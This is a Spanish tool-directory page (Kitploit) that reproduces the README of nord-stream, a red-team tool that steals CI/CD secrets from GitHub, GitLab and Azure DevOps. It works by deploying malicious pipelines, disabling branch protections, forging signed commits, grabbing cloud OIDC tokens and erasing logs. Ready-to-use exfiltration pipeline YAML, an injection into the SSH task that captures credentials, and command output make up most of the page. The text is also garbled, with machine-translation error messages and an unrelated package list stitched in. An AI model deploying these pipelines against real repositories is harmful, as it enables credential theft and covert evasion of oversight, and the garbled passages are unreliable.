Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
nord-stream — Nord Stream es una herramienta que permite extraer secretos almacenados en entornos CI/CD mediante el despliegue de pipelines maliciosos. Actualmente es compatible con Azure DevOps, GitHub y GitLab. | Kitploit
Herramientas/GitHubGitHub/synacktiv/nord-stream
ExplotaciónHerramientas de SuplantaciónExfiltración de DatosRecopilación de InformaciónPruebas de PenetraciónDevSecOpsDetección de SecretosRed Teaming
GitHubsynacktiv/nord-stream

nord-stream

Nord Stream es una herramienta que permite extraer secretos almacenados en entornos CI/CD mediante el despliegue de pipelines maliciosos. Actualmente es compatible con Azure DevOps, GitHub y GitLab.

Ver Repositorio
37022hace 1 mesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

Nord Stream

Nord Stream es una herramienta que permite extraer secretos almacenados en entornos CI/CD mediante el despliegue de pipelines maliciosos.

Actualmente es compatible con Azure DevOps, GitHub y GitLab.

Puedes encontrar más información en el siguiente artículo de blog: https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks

Tabla de contenido

  • Nord Stream
    • Tabla de contenido
    • Instalación
    • Uso
      • Argumentos compartidos
        • Describir token
        • Construir YAML
        • YAML
        • Limpiar logs
        • Firmar commits
      • Azure DevOps
        • Conexiones de servicio
          • SSH
        • Listar organizaciones
        • Ayuda
      • GitHub
        • Listar protecciones
        • Deshabilitar protecciones
        • Forzar
        • Azure OIDC
        • AWS OIDC
        • Ayuda
      • GitLab
        • Listar secretos
        • YAML
        • Listar protecciones
        • Ayuda
    • TODO
    • Contacto

Instalación```

$ pipx install git+https://github.com/synacktiv/nord-stream

root@kitploit:~
`git` también es necesario (ver https://git-scm.com/download/) y debe existir en tu `PATH`.

## Uso

Aquí tienes un ejemplo simple en GitHub; inicialmente, se pueden enumerar los distintos secretos.```sh
$ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
[*] Listing secrets:
[*] "org/repo" secrets
[*] Repo secrets:
        - REPO_SECRET
        - SUPER_SECRET
[*] PROD secrets:
        - PROD_SECRET

A continuación, proceda con la exfiltración:```sh $ nord-stream github --token "$GHP" --org org --repo repo
[+] "org/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch [] Getting secrets from repo: "org/repo" [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_SUPER_SECRET=value for super secret secret_REPO_SECRET=repository secret

[] Getting secrets from environment: "PROD" (org/repo) [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=Value only accessible from prod environment

[] Cleaning logs. [] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github

root@kitploit:~
### Argumentos compartidos

Algunos argumentos se comparten entre [GitHub](#github), [Azure DevOps](#azure-devops) y [GitLab](#gitlab); aquí hay algunos ejemplos.

#### Describir token

La opción `--describe-token` se puede utilizar para mostrar información general sobre tu token:```bash
$ nord-stream github --token "$PAT" --describe-token
[*] Token information:
        - Login: CICD
        - IsAdmin: False
        - Id: 1337
        - Bio: None

Build YAML

La opción --build-yaml se puede utilizar para crear un archivo de pipeline sin desplegarlo. Recupera los distintos nombres de secretos para construir el pipeline asociado, que se puede utilizar para añadir pasos personalizados:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml [+] YAML file: name: GitHub Actions 'on': push jobs: init: runs-on: ubuntu-latest steps: - run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0 name: command env: secret_PROD_SECRET: ${{secrets.PROD_SECRET}} environment: PROD

root@kitploit:~
#### YAML

La opción `--yaml` se puede utilizar para desplegar un pipeline personalizado:```yml
name: GitHub Actions
'on': push
jobs:
  init:
    runs-on: ubuntu-latest
    steps:
    - run: echo "Hello from step 1"
      name: step 1
    - run: echo "Doing some important stuff here"
      name: command
    - run: echo "Hello from last step "
      name: last step

No se ha proporcionado el contenido del fragmento (chunk 13). Envíe el bloque de texto en inglés para poder traducirlo al español.```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml [+] "synacktiv/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch [] Running custom workflow: .../custom.yml [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Workflow output: 2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here" 2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here" 2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0} 2023-07-18T20:08:33.0137261Z ##[endgroup] 2023-07-18T20:08:33.0422019Z Doing some important stuff here

[] Cleaning logs. [] Check output: .../nord-stream-logs/github

root@kitploit:~
Por defecto, mostrará la salida de la tarea denominada `command` del trabajo `init`, pero todo se almacena localmente y se puede acceder manualmente:```bash
$ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
2023-07-18T20:08:33.0459084Z echo "Hello from last step "
2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0511890Z ##[endgroup]
2023-07-18T20:08:33.0597853Z Hello from last step

Limpieza de registros

De forma predeterminada, Nord Stream intentará eliminar los rastros dejados tras el despliegue de un pipeline, dependiendo de tus privilegios. Para conservar los rastros, se puede utilizar la opción --no-clean. Esto conservará los registros del pipeline, pero aun así revertirá los cambios realizados en el repositorio. Ten en cuenta que, en GitLab, algunos rastros no se pueden eliminar.

Firma de commits

Los administradores del repositorio pueden imponer la firma obligatoria de commits en una rama para bloquear todos los commits que no estén firmados y verificados. Con Nord Stream es posible firmar commits para eludir dicha protección.

Primero, crea e importa tu clave GPG en la plataforma SCM.```sh $ gpg --full-generate-key $ gpg --armor --export F94496913C43EFC5 $ gpg --list-secret-keys --keyid-format=long sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23] Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5 uid [ultimate] test-gpg [email protected]

root@kitploit:~
No se proporcionó contenido en el campo INPUT. No hay texto que traducir.```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main  --key-id F94496913C43EFC5 --user test-gpg --email [email protected] --force
[*] Using branch: "main"
[+] "synacktiv/repo"
[*] Getting secrets from environment: "prod" (synacktiv/repo)
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET

Paquetes necesarios: instalar

  • Node.js
    • Node.js (probado con Node.js v14.17.0)
  • Paquetes NPM
    • js-yaml
    • mustache
    • puppeteer
    • puppeteer-extra
    • puppeteer-extra-plugin-stealth
  • Otros
    • Google Chrome (probado con v91.0.4472.124 y v94.0.4606.61)```bash $ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973 gpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST gpg: using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5 gpg: Good signature from "test-gpg [email protected]" [ultimate] Primary key fingerprint: B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5
root@kitploit:~
### Azure DevOps

Nord Stream puede extraer los siguientes tipos de secretos:
- Grupos de variables (vg)
- Archivos seguros (sf)
- Conexiones de servicio

#### Conexiones de servicio

Azure DevOps ofrece la posibilidad de crear conexiones con servicios externos y remotos para ejecutar tareas en un trabajo. Para ello, se utilizan las conexiones de servicio. Una conexión de servicio contiene credenciales para una identidad hacia un servicio remoto. Existen múltiples tipos de conexiones de servicio en Azure DevOps.

Nord Stream actualmente admite la extracción de secretos para los siguientes tipos de conexión de servicio:
- AzureRM
- GitHub
- AWS
- SonarQube
- SSH

Si te encuentras con un tipo no compatible, abre un issue o haz un pull request :)

##### SSH

La extracción para este tipo de conexión de servicio fue dolorosa de implementar. La salida es la siguiente:```
hostname:::port:::user:::password:::privatekey

Si quieres ejecutarlo en un runner autoalojado, puedes hacer lo siguiente:``` $ nord-stream devops ... --build-yaml test.yml --build-type ssh
[+] YAML file: trigger: none pool: vmImage: ubuntu-latest steps:

  • checkout: none
  • script: SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js) ; cp $SSH_FILE $SSH_FILE.bak ; sed -i 's|const readyTimeout = getReadyTimeoutVariable();|const readyTimeout = getReadyTimeoutVariable();\nconst fs = require("fs");var data = "";data += hostname
    • ":::" + port + ":::" + username + ":::" + password + ":::" + privateKey;fs.writeFile("/tmp/artefacts.tar.gz", data, (err) => {});|' $SSH_FILE displayName: Preparing Build artefacts
  • task: SSH@0 inputs: sshEndpoint: '#FIXME' runOptions: commands commands: sleep 1
  • script: SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js); mv $SSH_FILE.bak $SSH_FILE ; cat /tmp/artefacts.tar.gz | base64 -w0 | base64 -w0 ; echo '' displayName: Build artefacts
root@kitploit:~
Luego necesitas:
1) cambia `vmImage: ubuntu-latest` por `name: 'Self-Hosted pool name'`
2) Añade el nombre de la conexión de servicio en el marcador de posición `#FIXME`.
3) despliega la canalización con: `--yaml test.yml`

Si necesitas ejecutar esto en un runner autoalojado de Windows, en el método `generatePipelineForSSH` cambia `_serviceConnectionTemplateSSH` por `_serviceConnectionTemplateSSHWindows` y realiza las acciones descritas anteriormente.

Nota: para runners autoalojados tanto de Windows como de Linux, necesitas adaptar la ruta (`/home/vsts/work/_tasks/` o `D:\a\`) para que coincida con la ruta donde está desplegado el runner. Esta información se puede obtener en la pestaña `Capabilities` de un agente en Azure DevOps.

#### Listado de organizaciones

Con un token de acceso es posible listar las organizaciones vinculadas a un usuario:```
$ nord-stream devops --token "eyJ0eXA..." --list-orgs
[*] User orgs:
        - myorg
        - supersecretorg

Esto se basa en esta investigación.

Ayuda```

$ nord-stream devops -h CICD pipeline exploitation tool

Usage: nord-stream devops [options] --token --org [extraction] [--project --write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --yaml --project [--write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --build-yaml [--build-type ] nord-stream devops [options] --token --org --clean-logs [--project ] nord-stream devops [options] --token --org --list-projects [--write-filter] nord-stream devops [options] --token --org (--list-secrets [--project --write-filter] | --list-users) nord-stream devops [options] --token --org --describe-token

Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir

Output directory for logs --ignore-cert Allow insecure server connections

Commit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits

args: --token Azure DevOps personal token or JWT --org Org name -p, --project Run on selected project (can be a file) -y, --yaml Run arbitrary job --clean-logs Delete all pipeline created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --list-projects List all projects. --list-secrets List all secrets. --list-users List all users. --write-filter Filter projects where current user has write or admin access. --build-yaml Create a pipeline yaml file with default configuration. --build-type Type used to generate the yaml file can be: default, azurerm, github, aws, sonar, ssh --describe-token Display information on the token --branch-name Use specific branch name for deployment. --pipeline-name Use pipeline for deployment. --repo-name Use specific repo for deployment.

Exctraction: --extract Extract following secrets [vg,sf,gh,az,aws,sonar,ssh] --no-extract Don't extract following secrets [vg,sf,gh,az,aws,sonar,ssh]

Examples: List all secrets from all projects $ nord-stream devops --token "$PAT" --org myorg --list-secrets

root@kitploit:~
Dump all secrets from all projects
$ nord-stream devops --token "$PAT" --org myorg

Authors: @hugow @0hexit

root@kitploit:~
### GitHub

#### Listar protecciones

La opción `--list-protections` se puede utilizar para listar las protecciones aplicadas a una rama y a los entornos:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --list-protections
[*] Using branch: "main"
[*] Checking security: "synacktiv/repo"
[*] Found branch protection rule on "main" branch
[*] Branch protections:
        - enforce admins: True
        - block creations: True
        - required signatures: True
        - allow force pushes: False
        - allow deletions: False
        - required pull request reviews: False
        - required linear history: False
        - required conversation resolution: False
        - lock branch: False
        - allow fork syncing: False
[*] Environment protection for: "DEV":
        - deployment branch policy: custom
[*] No environment protection rule found for: "INT"
[*] Environment protection for: "PROD":
        - deployment branch policy: custom

Dependiendo de tus permisos, puedes tener menos información; solo los administradores pueden tener los detalles completos de las protecciones.

Deshabilitar protecciones

La opción --disable-protections se puede usar para deshabilitar temporalmente las protecciones aplicadas a una rama o un entorno, realizar el volcado y restaurar todas las protecciones:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --no-repo --no-org --env prod --disable-protections [] Using branch: "main" [+] "synacktiv/repo" [] Found branch protection rule on "main" branch [...] [!] Removing branch protection, wait until it's restored. [] Getting secrets from environment: "prod" (synacktiv/repo) [] Environment protection for: "PROD": - deployment branch policy: custom [!] Modifying env protection, wait until it's restored. [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [!] Restoring env protections. [+] Secrets: secret_PROD_SECRET=my PROD_SECRET

[*] Cleaning logs. [!] Restoring branch protection.

root@kitploit:~
Esto requiere privilegios de administrador.

#### Force

Por defecto, si Nord Stream detecta una protección en una rama o en un entorno, no realizará la extracción de secretos. Si consideras que las protecciones son demasiado permisivas o pueden omitirse con tus privilegios, se puede utilizar la opción `--force` para desplegar el pipeline independientemente de las protecciones.

#### Azure OIDC

OIDC (OpenID Connect) se puede utilizar para conectarse a servicios en la nube. La idea general es permitir que pipelines o flujos de trabajo autorizados obtengan tokens de acceso de corta duración directamente de un proveedor de nube, sin involucrar secretos estáticos. La autorización se basa en relaciones de confianza configuradas en el lado del proveedor de nube y está condicionada por el origen del pipeline o flujo de trabajo.

Aquí hay un ejemplo de un flujo de trabajo de GitHub que utiliza OIDC:```yaml
[...]
steps:
    - name: OIDC Login to Azure Public Cloud
    uses: azure/login@v1
    with:
        client-id: ${{ secrets.AZURE_CLIENT_ID }}
        tenant-id: ${{ secrets.AZURE_TENANT_ID }}
        subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} # this can be optional

Si te encuentras con un flujo de trabajo de este tipo, esto significa que el repositorio podría estar configurado para obtener un token de acceso de corta duración que puede darte acceso a los recursos de Azure.

Nord Stream es capaz de desplegar una canalización para recuperar dicho token de acceso con las siguientes opciones:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --azure-client-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 --azure-tenant-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 [] Using branch: "main" [+] "synacktiv/repo" [] No branch protection rule found on "main" branch [] Running OIDC Azure access tokens generation workflow [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC access tokens: Access token to use with Azure Resource Manager API: { "accessToken": "eyJ0eXAiOiJK[...]PVig", "expiresOn": "2023-07-18 23:18:57.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" }

Access token to use with MS Graph API: { "accessToken": "eyJ0eXAi[...]_qTA", "expiresOn": "2023-07-19 22:18:59.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" }

root@kitploit:~
El `--azure-subscription-id` es opcional y puede usarse para obtener un token de acceso para una suscripción específica.

#### AWS OIDC

La misma técnica (ver [Azure OIDC](#azure-oidc)) puede usarse para obtener un token de sesión en AWS.

Aquí hay un ejemplo de un flujo de trabajo que usa AWS OIDC:```yaml
[...]
steps:
    - name: Configure AWS Credentials
    uses: aws-actions/configure-aws-credentials@v1
    with:
        role-to-assume: arn:aws:iam::133333333337:role/S3Access/CustomRole
        role-session-name: oidcrolesession
        aws-region: us-east-1

Si te encuentras con un workflow de este tipo, esto significa que el repositorio podría estar configurado para obtener un token de acceso de AWS que puede darte acceso a los recursos de AWS.

Nord Stream es capaz de desplegar un pipeline para recuperar dicho token de acceso con las siguientes opciones:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --aws-role 'arn:aws:iam::133333333337:role/S3Access/CustomRole' --aws-region us-east-1 --force [+] "Synacktiv/repo" [] Running OIDC AWS credentials generation workflow [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC credentials: AWS_DEFAULT_REGION=us-east-1 AWS_SESSION_TOKEN=IQoJb3[...]KMs0/QB6 AWS_REGION=us-east-1 AWS_ACCESS_KEY_ID=ASIA5ABC8XDMAP2ANNWO AWS_SECRET_ACCESS_KEY=7KJLCjdJKqlpLKDAI9F7SH6SjSQBX68Sjm13xXDA

root@kitploit:~
#### Ayuda```
$ nord-stream github -h
CICD pipeline exploitation tool

Usage:
    nord-stream github [options] --token <ghp> --org <org> [--repo <repo> --no-repo --no-env --no-org --env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
    nord-stream github [options] --token <ghp> --org <org> --yaml <yaml> --repo <repo> [--env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
    nord-stream github [options] --token <ghp> --org <org> ([--clean-logs] [--clean-branch-policy]) [--repo <repo> --branch-name <name>]
    nord-stream github [options] --token <ghp> --org <org> --build-yaml <filename> --repo <repo> [--env <env>]
    nord-stream github [options] --token <ghp> --org <org> --azure-tenant-id <tenant> --azure-client-id <client> [--azure-subscription-id <subscription> --repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
    nord-stream github [options] --token <ghp> --org <org> --aws-role <role> --aws-region <region> [--repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
    nord-stream github [options] --token <ghp> --org <org> --list-protections [--repo <repo> --branch-name <name> --disable-protections (--key-id <id> --user <user> --email <email>)]
    nord-stream github [options] --token <ghp> --org <org> --list-secrets [--repo <repo> --no-repo --no-env --no-org]
    nord-stream github [options] --token <ghp> [--org <org>] --list-repos [--write-filter]
    nord-stream github [options] --token <ghp> --describe-token

Options:
    -h --help                               Show this screen.
    --version                               Show version.
    -v, --verbose                           Verbose mode
    -d, --debug                             Debug mode
    --output-dir <dir>                      Output directory for logs

Signing:
    --key-id <id>                           GPG primary key ID
    --user <user>                           User used to sign commits
    --email <email>                         Email address used to sign commits

args
    --token <ghp>                           Github personal token
    --org <org>                             Org name
    -r, --repo <repo>                       Run on selected repo (can be a file)
    -y, --yaml <yaml>                       Run arbitrary job
    --clean-logs                            Delete all logs created by this tool. This operation is done by default but can be manually triggered.
    --no-clean                              Don't clean workflow logs (default false)
    --clean-branch-policy                   Remove branch policy, can be used with --repo. This operation is done by default but can be manually triggered.
    --build-yaml <filename>                 Create a pipeline yaml file with all secrets.
    --env <env>                             Specify env for the yaml file creation.
    --no-repo                               Don't extract repo secrets.
    --no-env                                Don't extract environnments secrets.
    --no-org                                Don't extract organization secrets.
    --azure-tenant-id <tenant>              Identifier of the Azure tenant associated with the application having federated credentials (OIDC related).
    --azure-subscription-id <subscription>  Identifier of the Azure subscription associated with the application having federated credentials (OIDC related).
    --azure-client-id <client>              Identifier of the Azure application (client) associated with the application having federated credentials (OIDC related).
    --aws-role <role>                       AWS role to assume (OIDC related).
    --aws-region <region>                   AWS region (OIDC related).
    --list-protections                      List all protections.
    --list-repos                            List all repos.
    --list-secrets                          List all secrets.
    --disable-protections                   Disable the branch protection rules (needs admin rights)
    --write-filter                          Filter repo where current user has write or admin access.
    --force                                 Don't check environment and branch protections.
    --branch-name <name>                    Use specific branch name for deployment.
    --describe-token                        Display information on the token

Examples:
    List all secrets from all repositories
    $ nord-stream github --token "$GHP" --org myorg --list-secrets

    Dump all secrets from all repositories and try to disable branch protections
    $ nord-stream github --token "$GHP" --org myorg --disable-protections

Authors: @hugow @0hexit

GitLab

Como se describe en el artículo, no hay forma de eliminar los registros en la pestaña de actividad después de un despliegue de pipeline. Esto debe tenerse en cuenta durante los compromisos de Red Team.

Listar secretos

La opción --list-secrets puede usarse para listar y extraer secretos de GitLab.

La forma en que GitLab gestiona los secretos es un poco diferente de Azure DevOps y GitHub action. Con acceso de administrador a un proyecto, grupo o incluso acceso de administrador en la instancia de GitLab, es posible extraer todas las variables de CI/CD que estén definidas sin desplegar ningún pipeline.

Sin embargo, desde un usuario con pocos privilegios, no es posible listar los secretos definidos a nivel de proyecto, grupo o instancia. No obstante, si los usuarios tienen privilegios de escritura sobre un proyecto, podrán desplegar un pipeline malicioso para exfiltrar las variables de entorno que exponen las variables de CI/CD. Esto significa que un usuario con pocos privilegios no tiene forma de saber si un secreto está definido en un proyecto concreto. La única forma es observar los pipelines legítimos que ya existan en un proyecto y comprobar si un pipeline utiliza variables de entorno sensibles.

Este es un archivo de pipeline para realizar esta operación en GitLab:```yaml stages:

  • synacktiv

deploy-production: image: ubuntu:latest stage: synacktiv script: - env | base64 -w0 | base64 -w 0

root@kitploit:~
GitLab también admite archivos seguros como Azure DevOps. Los archivos seguros se definen a nivel de proyecto. Al igual que las variables, no es posible listar los archivos seguros sin acceso de administrador al proyecto. Sin embargo, con acceso de administrador, nord-stream intentará exfiltrar los archivos seguros relacionados con los proyectos.

#### YAML

Igual que [YAML](#yaml), sin embargo necesitas proporcionar la ruta completa del proyecto así:```sh
$ nord-stream gitlab --token "$PAT" --url https://gitlab.corp.local --project 'group/projectname' --yaml ci.yml

La salida del comando --list-projects devuelve dicha ruta.

Lista de protecciones

Igual que Lista de protecciones de GitHub

Ayuda```

$ nord-stream gitlab -h CICD pipeline exploitation tool

Usage: nord-stream gitlab [options] --token (--list-secrets | --list-protections) [--project --group --no-project --no-group --no-instance --write-filter] nord-stream gitlab [options] --token ( --list-groups | --list-projects ) [--project --group --write-filter] nord-stream gitlab [options] --token --yaml --project [--no-clean] nord-stream gitlab [options] --token --clean-logs [--project ] nord-stream gitlab [options] --token --describe-token

Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir

Output directory for logs --url <gitlab_url> Gitlab URL [default: https://gitlab.com] --ignore-cert Allow insecure server connections

Commit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits

args: --token GitLab personal access token or _gitlab_session cookie --project Run on selected project (can be a file) --group Run on selected group (can be a file) --list-secrets List all secrets. --list-protections List branch protection rules. --list-projects List all projects. --list-groups List all groups. --write-filter Filter repo where current user has developer access or more. --no-project Don't extract project secrets. --no-group Don't extract group secrets. --no-instance Don't extract instance secrets. -y, --yaml Run arbitrary job --branch-name Use specific branch name for deployment. --clean-logs Delete all pipeline logs created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --describe-token Display information on the token

Examples: Dump all secrets $ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --list-secrets

root@kitploit:~
Deploy the custom pipeline on the master branch
$ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --yaml exploit.yaml --branch master --project 'group/projectname'

Authors: @hugow @0hexit

root@kitploit:~
## TODO

- [ ] Añadir soporte para URL correspondientes a instancias de Azure DevOps Server (soluciones on-premises)
- [ ] Añadir una opción para extraer secretos a través de hosts Windows
- [ ] Añadir soporte para otros entornos CI/CD (Jenkins/Bitbucket)
- [ ] Usar la API GraphQL de GitHub en lugar de la REST para listar las reglas de protección de ramas y deshabilitarlas temporalmente si coinciden con la rama maliciosa que se va a subir


## Contacto

Por favor, envía cualquier error, problema, pregunta o solicitud de funcionalidad en "Issues" o envíanoslos por Twitter [@hugow](https://twitter.com/hugow_vincent) y [@0hexit](https://twitter.com/0hexit).
Descargar herramienta